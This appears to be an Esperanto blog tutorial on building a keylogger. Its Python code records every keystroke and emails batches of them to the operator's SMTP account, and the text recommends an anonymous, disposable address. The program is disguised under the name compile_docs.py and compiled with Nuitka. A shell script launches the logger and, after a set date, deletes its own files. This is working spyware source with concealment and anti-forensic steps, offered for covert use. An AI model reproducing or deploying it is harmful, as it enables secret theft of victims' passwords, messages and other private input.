En ĉi tiu artikolo mi montras al vi kiel programi klavaroregistrilon, kiu sendas mesaĝojn per retpoŝto kaj detruiĝas post difinita dato.
Jen la uzota kodo (ni konservos ĝin kiel compile_docs.py
1):
#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
from email.message import EmailMessage
import smtplib, ssl
keys = ''
def on_press(key):
print(key)
global keys, count
keys += str(key)
print(len(keys), keys)
if len(keys) > 190:
send_email(keys)
keys = ''
def send_email(message):
smtp_server = "CHANGE"
port = 587
sender_email = "CHANGE"
password = "CHANGE"
receiver_email = sender_email
em = EmailMessage()
em.set_content(message)
em['To'] = receiver_email
em['From'] = sender_email
em['Subject'] = 'keylog'
context = ssl.create_default_context()
with smtplib.SMTP(smtp_server, port) as s:
s.ehlo()
s.starttls(context=context)
s.ehlo()
s.login(sender_email, password)
s.send_message(em)
with Listener(on_press=on_press) as listener:
listener.join()
Ni devas anstataŭigi ĉiun CHANGE
per informo por sendi la retmesaĝon.
Evidente la retadreso uzota devas esti anonima kaj forĵetebla. Esence
per la antaŭa kodo ni sendas retmesaĝon ĉiam, kiam kelkaj klavoj estas
premitaj (kiam ili okupas 190
da signoj).
Nun ni kompilos la kodon per Nuitka:
sudo pip3 install nuitka
nuikta3 compile_docs.py
La programo devos produkti kompilitan dosieron nomitan compile_docs.bin
.
Fine vi devas igi, ke la dosiero estu plenumita, kiam vi startigas
retumilon aŭ ŝaltas vian komputilon, kiel mi klarigis en la antaŭa
artikolo
Se ni volas igi, ke la programo detruiĝu post difinita tempo, ni povas krei ion similan al tio ĉi2:
#!/bin/sh
DATE=`date +%Y%m%d`
if [ $DATE > 20230501 ]; then
rm /usr/share/doc/python3/compile_docs.py
rm /usr/share/doc/python3/compile_docs.bin
mv firefox.bin $0 # Forigas ĉi tiun doserion
else
python3 nuestro_keylogger.py
fi
La paŝoj por forigi la klavaroregistrilon povas esti iom malsamaj dependante de kiel vi kaŝis ĝin.
Komentoj